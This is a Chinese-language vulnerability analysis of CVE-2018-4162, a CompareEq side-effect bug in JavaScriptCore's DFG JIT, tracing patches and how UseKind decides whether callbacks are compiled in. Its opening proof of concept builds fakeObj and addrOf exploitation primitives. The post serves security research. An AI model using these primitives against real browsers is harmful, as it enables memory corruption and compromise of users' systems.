一、从ZDI文章开始

2018年4月,ZDI发表了《INVERTING YOUR ASSUMPTIONS: A GUIDE TO JIT COMPARISONS》,描述了JavaScriptCore DFG JIT中CompareEq IR的副作用问题。通过TenSec2018的ppt,可以知道这个漏洞编号为CVE-2018-4162。

从文章给出的补丁上看,这显然是一个副作用问题:

image-20190119120611015

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function primitiveFakeObj(addr) {
let arr = [1.1, 2.2, 3.3];
arr['a'] = 1;
let go = function (a, c) {
a[0] = 1.1;
a[1] = 2.2;
c == 1;
a[2] = addr;
}
for (let i = 0; i < 100000; i++) {
go(arr, {});
}
go(arr, { toString: () => { arr[0] = {}; return '1'; } });
return arr[2];
}
let addr = 5.607070584648226e-310;
let fakeObj = primitiveFakeObj(addr);

function primitiveAddrOf(obj){
let arr = [1.1, 2.2, 3.3];
arr['a'] = 1;
let go = function (a, c) {
a[1] = 2.2;
c == 1;
return arr[0];
}
for (let i = 0; i < 100000; i++) {
go(arr, {});
}
return go(arr, { toString: () => { arr[0] = obj; return '1'; } });
}
let o = {};
let addrOfO = primitiveAddrOf(o);
print(addrOfO);

c == 1会触发一些回调,回调的内容就是{toString: () => { arr[0] = {}; return ‘1’; }}这个对象的toString函数。本次DFG代码中的回调调用了baseline JIT中的operationCompareEq:

image-20190119121032215

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// v1 = object
// v2 = 0xffff000000000001
ALWAYS_INLINE bool JSValue::equalSlowCaseInline(ExecState* exec, JSValue v1, JSValue v2)
{
VM& vm = exec->vm();
auto scope = DECLARE_THROW_SCOPE(vm);
do {
if (v1.isNumber() && v2.isNumber())
return v1.asNumber() == v2.asNumber();
bool s1 = v1.isString(); //(1) false (5) true
bool s2 = v2.isString(); //(2) false (6) false
if (s1 && s2) {
scope.release();
return asString(v1)->equal(exec, asString(v2));
}
if (v1.isUndefinedOrNull()) {
if (v2.isUndefinedOrNull())
return true;
if (!v2.isCell())
return false;
return v2.asCell()->structure(vm)->masqueradesAsUndefined(exec->lexicalGlobalObject());
}
if (v2.isUndefinedOrNull()) {
if (!v1.isCell())
return false;
return v1.asCell()->structure(vm)->masqueradesAsUndefined(exec->lexicalGlobalObject());
}
if (v1.isObject()) {
if (v2.isObject())
return v1 == v2;
JSValue p1 = v1.toPrimitive(exec); //(3) p1 object->string =================>
RETURN_IF_EXCEPTION(scope, false);
v1 = p1; //(4) v1 = p1;
if (v1.isInt32() && v2.isInt32())
return v1 == v2;
continue;
}
if (v2.isObject()) {
JSValue p2 = v2.toPrimitive(exec);
RETURN_IF_EXCEPTION(scope, false);
v2 = p2;
if (v1.isInt32() && v2.isInt32())
return v1 == v2;
continue;
}
bool sym1 = v1.isSymbol();
bool sym2 = v2.isSymbol();
if (sym1 || sym2) {
if (sym1 && sym2)
return asSymbol(v1) == asSymbol(v2);
return false;
}
if (s1 || s2) {
double d1 = v1.toNumber(exec); //(7) string -> number
RETURN_IF_EXCEPTION(scope, false);
double d2 = v2.toNumber(exec);
RETURN_IF_EXCEPTION(scope, false);
return d1 == d2;
}
if (v1.isBoolean()) {
if (v2.isNumber())
return static_cast<double>(v1.asBoolean()) == v2.asNumber();
} else if (v2.isBoolean()) {
if (v1.isNumber())
return v1.asNumber() == static_cast<double>(v2.asBoolean());
}
return v1 == v2;
} while (true);
}

image-20190119121221474

image-20190119121323061

image-20190119121402682

从此以后,go(arr, {})、go(arr, {toString: () => { arr[0] = {}; return ‘1’; }})将会走向不同的地方。前者会走向objectProtoFuncValueOf,后者会走向其定义的toString函数。

实际调试发现,除了DFGAbstractInterpreter的clobberWorld之外,还会插入InvalidationPoint,那么也与DFGClobberize有关了。该版本下CompareEq是这样的:

image-20190119121954847

其中isBinaryUseKind意思就是isBothUseKind,而根据PoC,DFG生成的代码:

1
31:<!1:loc8>  CompareEq(Untyped:@30, Untyped:@27, Boolean|MustGen|PureInt, Bool, R:World, W:Heap, Exits, ClobbersExit, bc#17, ExitValid)

image-20190119122655078

会插入InvalidationPoint和Jump replacement,显然无法复现。

二、补丁寻找

翻近一年多的commit,看到关于CompareEq有这么几处补丁:

https://github.com/WebKit/webkit/commit/130b72921adb81d5dee000e7d62c90a48fb49839#diff-1a4598cdaa4bf5e3b8f84e8b3d7d037e

https://github.com/WebKit/webkit/commit/b6b0023ff9a7a327bcbd6c1badaaea459d650235

https://github.com/WebKit/webkit/commit/d06215ef926d61a9fdbd42da2ef2b3938957afde#diff-a8c2f873ebf995282afc8bd7f1c252de

其中后两个修来修去没啥实际效果(后文提到),第一个是符合ZDI文章的补丁:

image-20190119120611015

参考CVE-2018-4233,这个补丁导致的结果是CheckStructure/CheckArray等。究竟能不能利用,必须要求Invalidation不插入,也就是Clobberize定义出问题。但是在这个版本以及往前很多的版本下,DFGClobberize定义的CompareEq仍然是这样的:

image-20190119121954847

于情于理,确实无法复现。

好在有同事在某不知名版本上复现了这个漏洞,反编译结果大概形如:

image-20190119131506076

那么与之接近的源码应该为:

image-20190119131549752

虽然仍然找不到具体哪个版本用了这样的代码,但漏洞终于可以复现了。

三、成因分析

3.1 CompareEq的UseKind决定机器码内容

不管是DFGAbstractInterpreter还是DFGClobberize,出现问题的原因涉及CompareEq的children的UseKind。根据child1、child2的useKind,DFG在生成CompareEq的IR结点时,会有类似:

1
2
3
4
5
31:<!1:loc8>  CompareEq(Untyped:@30, Untyped:@27, Boolean|MustGen|PureInt, Bool, R:World, W:Heap, Exits, ClobbersExit, bc#17, ExitValid)

39:< 1:loc7> CompareEq(Check:Object:@38, Object:@35, Boolean|PureInt, Bool, Exits, bc#32, ExitValid)

39:< 1:loc7> CompareEq(Check:StringIdent:@38, StringIdent:@35, Boolean|PureInt, Bool, Exits, bc#32, ExitValid)

其中Untyped、Object对应两种UseKind。根据CompareEq的UseKind,会生成不同的机器码:

image-20190119132651178

image-20190119132712043

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
bool SpeculativeJIT::compilePeepHoleBranch(Node* node, MacroAssembler::RelationalCondition condition, MacroAssembler::DoubleCondition doubleCondition, S_JITOperation_EJJ operation)
{
// Fused compare & branch.
unsigned branchIndexInBlock = detectPeepHoleBranch();
if (branchIndexInBlock != UINT_MAX) {
Node* branchNode = m_block->at(branchIndexInBlock);
// detectPeepHoleBranch currently only permits the branch to be the very next node,
// so can be no intervening nodes to also reference the compare.
ASSERT(node->adjustedRefCount() == 1);
if (node->isBinaryUseKind(Int32Use))
compilePeepHoleInt32Branch(node, branchNode, condition);
#if USE(JSVALUE64)
else if (node->isBinaryUseKind(Int52RepUse))
compilePeepHoleInt52Branch(node, branchNode, condition);
#endif // USE(JSVALUE64)
else if (node->isBinaryUseKind(StringUse) || node->isBinaryUseKind(StringIdentUse)) {
// Use non-peephole comparison, for now.
return false;
} else if (node->isBinaryUseKind(DoubleRepUse))
compilePeepHoleDoubleBranch(node, branchNode, doubleCondition);
else if (node->op() == CompareEq) {
if (node->isBinaryUseKind(BooleanUse))
compilePeepHoleBooleanBranch(node, branchNode, condition);
else if (node->isBinaryUseKind(SymbolUse))
compilePeepHoleSymbolEquality(node, branchNode);
else if (node->isBinaryUseKind(ObjectUse))
compilePeepHoleObjectEquality(node, branchNode);
else if (node->isBinaryUseKind(ObjectUse, ObjectOrOtherUse))
compilePeepHoleObjectToObjectOrOtherEquality(node->child1(), node->child2(), branchNode);
else if (node->isBinaryUseKind(ObjectOrOtherUse, ObjectUse))
compilePeepHoleObjectToObjectOrOtherEquality(node->child2(), node->child1(), branchNode);
else if (!needsTypeCheck(node->child1(), SpecOther))
nonSpeculativePeepholeBranchNullOrUndefined(node->child2(), branchNode);
else if (!needsTypeCheck(node->child2(), SpecOther))
nonSpeculativePeepholeBranchNullOrUndefined(node->child1(), branchNode);
else {
nonSpeculativePeepholeBranch(node, branchNode, condition, operation); //===================>
return true;
}

可以把PoC改一下,针对性地修改UseKind,可以看到UseKind为Object、StringIdent时,生成的机器码不含有回调的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//ObjectUse -- no callback
//39:< 1:loc7> CompareEq(Check:Object:@38, Object:@35, Boolean|PureInt, Bool, Exits, bc#32, ExitValid)
let arr = [1.1, 2.2, 3.3];
arr['a'] = 1;
let o = {};
let go = function (a, c) {
a[0] = 1.1;
a[1] = 2.2;
c == o;
a[2] = 5.607070584648226e-310;
}
for (let i = 0; i < 100000; i++) {
go(arr, {});
}
go(arr, { toString: () => { arr[0] = {}; return '1'; } });
"" + arr[2];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//StringIdent -- no callback
//39:< 1:loc7> CompareEq(Check:StringIdent:@38, StringIdent:@35, Boolean|PureInt, Bool, Exits, bc#32, ExitValid)
let arr = [1.1, 2.2, 3.3];
arr['a'] = 1;
let s = "astring";
let go = function (a, c) {
a[0] = 1.1;
a[1] = 2.2;
c == s;
a[2] = 5.607070584648226e-310;
}
for (let i = 0; i < 100000; i++) {
go(arr, "bstring");
}
go(arr, { toString: () => { arr[0] = {}; return 'cstring'; } });
"" + arr[2];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
bool SpeculativeJIT::compare(Node* node, MacroAssembler::RelationalCondition condition, MacroAssembler::DoubleCondition doubleCondition, S_JITOperation_EJJ operation)
{
if (compilePeepHoleBranch(node, condition, doubleCondition, operation)) //======== operation
return true;

if (node->isBinaryUseKind(Int32Use)) {
compileInt32Compare(node, condition);
return false;
}

#if USE(JSVALUE64)
if (node->isBinaryUseKind(Int52RepUse)) {
compileInt52Compare(node, condition);
return false;
}
#endif // USE(JSVALUE64)

if (node->isBinaryUseKind(DoubleRepUse)) {
compileDoubleCompare(node, doubleCondition);
return false;
}

if (node->isBinaryUseKind(StringUse)) {
if (node->op() == CompareEq)
compileStringEquality(node);
else
compileStringCompare(node, condition);
return false;
}

if (node->isBinaryUseKind(StringIdentUse)) { //================> no operation as callback
if (node->op() == CompareEq)
compileStringIdentEquality(node);
else
compileStringIdentCompare(node, condition);
return false;
}

if (node->op() == CompareEq) {
if (node->isBinaryUseKind(BooleanUse)) {
compileBooleanCompare(node, condition);
return false;
}

if (node->isBinaryUseKind(SymbolUse)) {
compileSymbolEquality(node);
return false;
}

if (node->isBinaryUseKind(ObjectUse)) { //================> no operation as callback
compileObjectEquality(node);
return false;
}

3.2 CompareEq的UseKind由DFGFixupPhase确定

根据源码,CompareEq的默认UseKind都是Untyped,这一步由DFGByteCodeParser决定:

image-20190119133546797

image-20190119133623857

UseKind在fixup phase里可以被修改,寻找线索的三种方法:

  • 搜索“ = UntypedUse”
  • 使用watchpoint调试跟踪
  • dumpGraphAtEachPhase

image-20190119133823501

其中泛型UseKind11是ObjectUse。

image-20190119133901074

而代码要求,必须child1、child2的SpeculatedType均为object时才会设置UseKind为ObjectUse。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bool shouldSpeculateObject()
{
return isObjectSpeculation(prediction());
}

SpeculatedType prediction()
{
return m_prediction;
}
SpeculatedType m_prediction { SpecNone }; (struct Node/DFGNode.h)


inline bool isObjectSpeculation(SpeculatedType value)
{
return !!(value & SpecObject) && !(value & ~SpecObject);
}

四、总结

  • DFG JIT的实现代码犹如草蛇灰线,伏脉千里。安全研究员提出修补建议、官方修补漏洞时都可能忽略一些问题,造成修补的反复进行。

  • 在3.1节中,IR结点的UseKind决定编译结果是否含有回调,因而不妨作为“DFG回调副作用”这一pattern挖掘的核心和Entry Point。